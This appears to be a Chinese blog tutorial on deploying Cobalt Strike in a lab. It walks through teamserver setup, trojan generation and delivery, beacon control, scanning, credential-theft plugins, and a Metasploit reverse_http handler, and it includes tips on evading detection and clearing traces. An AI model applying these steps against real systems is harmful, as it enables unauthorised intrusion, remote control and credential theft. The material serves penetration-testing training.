网络安全是数字时代的基石,但学习过程中必须严守法律红线。‌
根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于‌合法授权的靶场环境‌(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景
网络安全学习应以提升防御能力为目标,而非成为攻击工具。

本文所有内容均在非免杀的前提下进行,免杀内容后续文章会涉及。

千万注意,防火墙和杀毒软件都不能打开,否则会被当成病毒删除,文章内容无法复现。

一、工具介绍

Cobalt Strike是⼀款美国Red Team开发的渗透测试神器。这个⼯具成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线⽅式,集成了提权,凭据导出,端⼝转发,socket代理,服务扫描、自动化溢出、多模式端口监听、木马生成(如Windows exe/dll、Java、Office宏病毒)以及钓鱼攻击(如站点克隆、浏览器自动攻击)等功能。同时,Cobalt Strike还可以调⽤Mimikatz等其他知名⼯具,因此⼴受⿊客喜爱。

Cobalt Strike它分为客户端与服务端,服务端是⼀个,客户端可以有多个,可被团队进⾏分布式协团操作。当然还有⼀点就是这款⼯具主要⽤于内⽹渗透以及APT攻击。

核心功能

  • 团队协作‌:支持多客户端连接同一服务端,实现分布式操作。
  • 攻击模块‌:包括Web drive-by、木马生成、钓鱼攻击等。
  • 扩展性‌:支持通过脚本(如AggressorScripts)增强功能。

安全与检测

Cobalt Strike主要在内存中运行,难以被传统杀毒软件检测。但可通过内存分析或行为监控发现其活动。

二、安装与配置

1、环境要求:

需安装Java运行环境(如JDK17或以上)。客户端和服务端都是如此。

2‌、服务端部署(以CS4.8为例):

  • 启动kali,把cobaltstrike放到root/ 里去(以CS4.8为例)

  • 进⼊到CS4.8的服务端⽬录中,先赋予服务端运行权限,然后启动服务端

    cd CS4.8 #切换到我们上传的CS4.8⽬录中
    cd server #切换到server⽬录
    
    chmod +x teamserver
    chmod +x TeamServerImage #赋予服务端运⾏权限
    ./teamserver 192.168.247.128 1234 #启动teamserver(服务端)IP地址为kali(建立服务端的系统)的地址,1234为连接密码
    

    在这里插入图片描述

    在这里插入图片描述

    启动后结果

    # 启动命令格式。profile文件 是可选项
    ./teamserver 服务端IP [profile文件]
    

    在这里插入图片描述

    地址为kali地址,目的是让Kali作为CS运行时候的服务端。1234 为客户端连接用的密码,可以随便设置

TIPS:

​ CobaltStrike 的流量隐藏技巧,需要配置相应的 profile 文件(CobaltStrike 全局变量配置文件)

参考连接:https://www.cobaltstrike.com/product/features/malleable-c2

3、客户端部署:

以win系统为例,通过cobaltstrike.jarCobalt_Strike_CN.bat连接服务端。

设置说明如下:

在这里插入图片描述

设置好以后,点击连接,进入客户端主界面。

在这里插入图片描述

三、基本操作示例

1、多客户端、服务端连接及通信

所有人聊天:交互框内直接输入聊天内容即可。例如:hello

私发信息: /msg 对方的用户名 聊天信息。例如:/msg test 你好

在这里插入图片描述

2、配置监听

一切行为开始之前的必备步骤!

如图所示,打开监听器

在这里插入图片描述

此时出来一个 listeners 对话框,选择 add 添加监听

在这里插入图片描述

进入以下监听设置界面,设置好以后,保存

在这里插入图片描述

Beacon HTTP 的核心功能是实现隐蔽的C2通信
reverse_http 表示反向(反射)即别⼈主动来连我
beacon_bind 表示正向(本地)即我们去连接别⼈

3、生成木马

通过以下菜单选择,进行木马生成的操作,此处以 win7 系统为例

点击 有效载荷 ==> Windows可执行程序(E)

在这里插入图片描述

进入以下设置界面

在这里插入图片描述

x64:如果勾选就会生成64位 x64 架构的木马;不勾选则是 32位 x86 架构的木马

listener : 选择监听

Output : 选择生成的木马类型

在这里插入图片描述

选择保存路径,且可以更改文件名(生成的木马文件),注意路径中不能有中文和特殊符号

在这里插入图片描述

点击确定后,木马生成完毕。

4、使用木马

假设,使用文件上传漏洞或社工的方法,将刚刚生成的木马 artifact_x64.exe 放在了 虚拟机win7 的网站根目录下,并启动了木马

上传木马到靶机的网站根目录

在这里插入图片描述

运行后,查看进程

在这里插入图片描述

查看 CobaltStrike 也监听到了靶机,首先将 回连间隔 设置为1秒,方便后续操作

在这里插入图片描述

5、使用beacon模式

在连接会话上点击鼠标右键 ==> 会话交互

在这里插入图片描述

注意看交互时使用的命令。直接输入的是 linux 的交互命令才可以

想使用win系统的终端命令,需要在命令前加 shell

在这里插入图片描述

6、远程 VNC模式

点开此模式,就可以查看目标机在做什么,但是默认是只能看不能操作的。

黑帽子图标点选以后就可以远程对目标主机进行操作。

在这里插入图片描述

7、网络探测

此模式可以探测到目标主机的网络状况。检查当前局域⽹的共享主机,如果存在共享的话会在列表中显示出来

在这里插入图片描述

也可在 视图 ==> 目标列表 进行查看

在这里插入图片描述

8、端口扫描

就是扫描靶机那些端口是活跃端口。选择端口扫描后,如下图所示

在这里插入图片描述

Ports : 自定义要扫描的端口号

max sockets :系统或程序为套接字连接分配资源的上限,超过此限制可能导致新连接失败。合理设置可避免资源耗尽,提升高并发场景下的稳定性。一般不做更改。

Discovery :发现端口,有三个选项,默认是 arp

arp协议:属于数据链路层的协议,利⽤时很难被防⽕墙检测和发现; 
icpm协议:属于ping协议,很难被检测发现。

点击确定。此时会去扫描目标主机IP的整个网段,然后连带设置的端口范围,一并进行扫描。

在这里插入图片描述

补充知识–Socket
1.Socket–套接字

​ 套接字(Socket)是网络通信的编程接口,它让不同设备上的应用能通过IP地址和端口号互相发送和接收数据。简单来说,它就像网络世界里的“电话机”,帮你建立连接、传输信息。

核心概念

  • 定义‌:套接字是通信的端点,封装了协议(如TCP/UDP)、IP地址和端口号,让程序能跨网络通信。
  • 作用‌:它屏蔽了底层协议细节,提供统一接口,让开发者不用直接处理网络协议,就能实现进程间通信。

关键特性

  • 协议支持‌:支持TCP(可靠传输)和UDP(高效传输)等协议。
  • 通信模型‌:基于客户端-服务器模式,通过套接字建立连接、交换数据。
  • 跨平台性‌:从UNIX系统发展而来,现已成为网络编程的标准接口。

实际应用

  • 网络编程‌:用于开发Web服务器、聊天工具等需要网络通信的应用。
  • 进程通信‌:不仅支持本地进程间通信,还能实现跨主机的数据交换。
2.max sockets 推荐配置表:
  1. **高并发网络服务(如 Web 服务器、API 网关)**‌

    • 推荐值‌:2048 或更高
    • 说明‌:这类服务需要处理大量并发连接,提高 somaxconn 可以避免连接被拒绝,提升吞吐量。
    • 相关参数‌:
      • net.core.somaxconn:控制监听队列长度,建议设置为 2048
      • net.ipv4.tcp_max_syn_backlog:SYN 队列长度,建议设置为 2048
  2. **分布式计算(如 NCCL 通信)**‌

    • 推荐值‌:32(nccl-fastsocket 默认)或 64(原生 NCCL 默认)
    • 说明‌:NCCL 通信对 socket 数量敏感,但过多 socket 可能增加线程切换开销,需根据实际负载调整。
    • 相关参数‌:
      • MAX_SOCKETS:NCCL 中控制 socket 数量的宏,默认 32(nccl-fastsocket)或 64(原生 NCCL)。
  3. **文件传输服务(如 Samba、FTP)**‌

    • 推荐值‌:根据并发会话数调整
    • 说明‌:每个会话需要独立的 socket 资源,需根据并发数合理分配。
    • 相关参数‌:
      • net.core.rmem_maxnet.core.wmem_max:控制接收和发送缓冲区大小,建议根据 BDP(带宽延迟积)计算。
  4. 低延迟交易系统

    • 推荐值‌:1024 或更高
    • 说明‌:低延迟场景需快速处理连接,但需避免过度分配导致资源浪费。
    • 相关参数‌:
      • net.core.somaxconn:建议设置为 1024 或更高。
      • net.ipv4.tcp_rmemnet.ipv4.tcp_wmem:调整缓冲区大小以降低延迟。
  5. **容器化环境(如 Kubernetes)**‌

    • 推荐值‌:1024 或更高
    • 说明‌:容器化环境需为每个 Pod 分配独立 socket,需根据 Pod 数量调整。
    • 相关参数‌:
      • net.core.somaxconn:建议设置为 1024 或更高。
      • net.ipv4.ip_local_port_range:控制本地端口范围,建议设置为 1024 65000
  6. 物联网(IoT)设备

    • 推荐值‌:128 或更低
    • 说明‌:IoT 设备资源有限,需限制 socket 数量以避免资源耗尽。
    • 相关参数‌:
      • net.core.somaxconn:建议设置为 128 或更低。
      • net.ipv4.tcp_rmemnet.ipv4.tcp_wmem:调整缓冲区大小以节省内存。
  7. 游戏服务器

    • 推荐值‌:512 或更高
    • 说明‌:游戏服务器需处理大量玩家连接,需平衡性能和资源消耗。
    • 相关参数‌:
      • net.core.somaxconn:建议设置为 512 或更高。
      • net.ipv4.tcp_rmemnet.ipv4.tcp_wmem:调整缓冲区大小以降低延迟。
  8. 视频流媒体服务

    • 推荐值‌:1024 或更高
    • 说明‌:视频流媒体需处理大量并发连接,需提高 socket 数量。
    • 相关参数‌:
      • net.core.somaxconn:建议设置为 1024 或更高。
      • net.ipv4.tcp_rmemnet.ipv4.tcp_wmem:调整缓冲区大小以提升吞吐量。
  9. **数据库服务(如 MySQL、PostgreSQL)**‌

    • 推荐值‌:512 或更高
    • 说明‌:数据库需处理大量并发查询,需合理分配 socket 资源。
    • 相关参数‌:
      • net.core.somaxconn:建议设置为 512 或更高。
      • net.ipv4.tcp_rmemnet.ipv4.tcp_wmem:调整缓冲区大小以提升性能。
  10. 混合负载环境

    • 推荐值‌:1024 或更高
    • 说明‌:混合负载需平衡不同应用需求,需根据实际负载调整。

9、进程列表

可查看⽬标服务器的进程,kill杀死相关进程,或者进⾏token值伪造等等~功能⽐较强⼤。而这些功能的实现,都需要对话框下边那一排按钮

在这里插入图片描述

四、CS插件

1、主要作用及种类

​ Cobalt Strike 插件非常多,主要分为社区贡献和商业定制,核心功能是增强内网渗透、信息收集、凭证窃取、权限维持和后渗透,知名插件包括巨龙 (Ladon)LSTR欧拉 (Euler)梼杌 (Taotie)XLS(谢公子的插件)等,它们提供了更多扫描、漏洞利用、进程管理、持久化、凭证dump、跨平台上线(如 CrossC2)等功能。

主要插件类型和功能举例:

  • 巨龙 (Ladon): 包含漏洞检测、密码读取、横向移动(RCE)、服务器扫描等模块。
  • LSTR: 专注于凭证窃取与权限维持。
  • 欧拉 (Euler) / 梼杌 (Taotie): 增强了域内信息收集和横向移动能力。
  • XLS/谢公子插件: 提供定位域管理员、信息收集、万能密码、白银票据、内网扫描等。
  • PostExpKit: 包含进程注入、权限提升、用户操作等后渗透模块。
  • CrossC2: 用于在 Linux 等不同平台实现上线和通信。
  • 其他: 还有针对特定漏洞(如CVE)、绕过防护(WAF/杀毒软件)的脚本和模块。

这些插件的作用是:

  • 信息收集: 发现域用户、管理员、内网资产。
  • 凭证攻击: Dump 数据库哈希、使用万能密码、白银票据。
  • 横向移动: 远程执行命令、利用漏洞(RCE)进行内网渗透。
  • 权限维持: 增加后门、维持会话。
  • 隐蔽性: 绕过杀毒软件(AV/EDR)和 Web 应用防火墙(WAF)。

如何获取/使用:

  • 许多插件作者在 CSDN、GitHub、腾讯云等平台分享。
  • 通常以.cna(Beacon)、.bin 或通过 Script/Plugin 菜单加载。

2、安装方法

巨龙 (Ladon) 为例。插件的路径上不能有中文或特殊符号,否则容易出现错误。

选择菜单如下图

在这里插入图片描述

选择插件的 .cna 格式文件并加载

在这里插入图片描述

ready 状态打勾,说明安装正常

在这里插入图片描述

五、插件的使用

在连接状态窗口,鼠标右键,就会出现安装好的插件

在这里插入图片描述

选择相应的功能,按照功能提示就可以正常使用插件了。

六、CS和MSF联动

​ 当我们使⽤ CS ⽣成的⽊⻢连接到⽬标服务器之后虽说 CS 功能⽐较强⼤。但是因为漏洞库和功能模块有限,所以最好的⽅法是联动kali 系统的 MSF ,调⽤ MSF 强⼤的漏洞和功能库去做更多的操作。

具体步骤:

1、Kali 启动 MSF

另开终端窗口,启动MSF

msfconsole 

在这里插入图片描述

2、kali 设置监听

use exploit/multi/handler          #选择⼯具 
set payload windows/meterpreter/reverse_http      #设置监听的会话(注意会话类型要和CS的会话⼀致)
set lhost 10.0.0.9       #设置IP地址(IP地址为kali的监听的机器的IP地址,和CS中保持⼀致) 
set lport 7777             #设置端⼝(和CS中⾃定义的端⼝保持⼀致)
run                        #开始监听

在这里插入图片描述

此时监听状态已开启。

3、CS创建新的监听

创建⼀个Foreign HTTP的监听。其中 IP 地址为 MSFip地址(即Kali的IP),端⼝与Kali中设置的一致

在这里插入图片描述

4、CS增加会话

右键 ==> 凭证提权 ==> 新建会话

在这里插入图片描述

选择刚刚新建的会话 nsf

在这里插入图片描述

Kali状态显示建立连接成功。Kali中输入的命令就会传递到CS中执行,并返回给Kali

在这里插入图片描述

七、本文总结与心得

1、文档核心内容总结

  1. 工具概述
    Cobalt Strike(CS)是一款渗透测试工具,支持多客户端协作,核心功能包括团队协作、攻击模块(如Web钓鱼、木马生成)和扩展性(通过AggressorScripts脚本增强),主要用于内网渗透和APT攻击。其运行依赖Java环境,分为服务端(单节点)和客户端(多节点)架构。
  2. 部署与配置
    • 服务端:需在Kali系统中部署,通过teamserver命令启动,需指定IP和连接密码,并可配置profile文件隐藏流量。
    • 客户端:Windows系统通过cobaltstrike.jar或批处理文件连接服务端,配置IP、端口和密码即可进入操作界面。
  3. 基本操作流程
    • 监听配置:通过listeners模块添加监听,支持reverse_http(反向连接)和beacon_bind(正向连接)等模式。
    • 木马生成:选择Windows可执行程序,配置架构(x64/x86)、监听和输出类型,生成后需避免中文路径。
    • 会话管理:通过Beacon模式执行命令(需加shell前缀调用Windows命令),支持VNC远程控制、网络探测、端口扫描等功能。
  4. 高级功能
    • 插件扩展:支持加载.cna格式插件(如Ladon、LSTR),增强信息收集、凭证窃取和横向移动能力。
    • 与MSF联动:通过Foreign HTTP监听将CS会话转发至Metasploit,利用MSF的漏洞库扩展攻击能力。

2、心得与注意事项

  1. 环境与安全
    • 需关闭防火墙和杀毒软件以避免工具被拦截,但实际渗透中需结合免杀技术(文档后续将涉及)。
    • 服务端IP需使用Kali本地地址,客户端连接时需确保网络可达,密码复杂度建议提高以防止未授权访问。
  2. 操作技巧
    • 监听配置:优先选择reverse_http模式,隐蔽性更强;端口扫描时建议使用arp协议减少被检测风险。
    • 木马生成:根据目标系统架构选择x64/x86,路径避免中文和特殊符号,可结合钓鱼或文件上传漏洞投递。
    • 插件与联动:Ladon插件适合内网扫描,MSF联动可弥补CS漏洞库不足,需注意会话类型和端口一致性。
  3. 风险与合规
    • 工具仅用于授权测试,未授权使用可能违反法律;操作过程中需记录日志并及时清理痕迹。
    • 流量特征可能被EDR检测,需通过profile文件自定义HTTP头、URI等参数伪装正常流量。
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐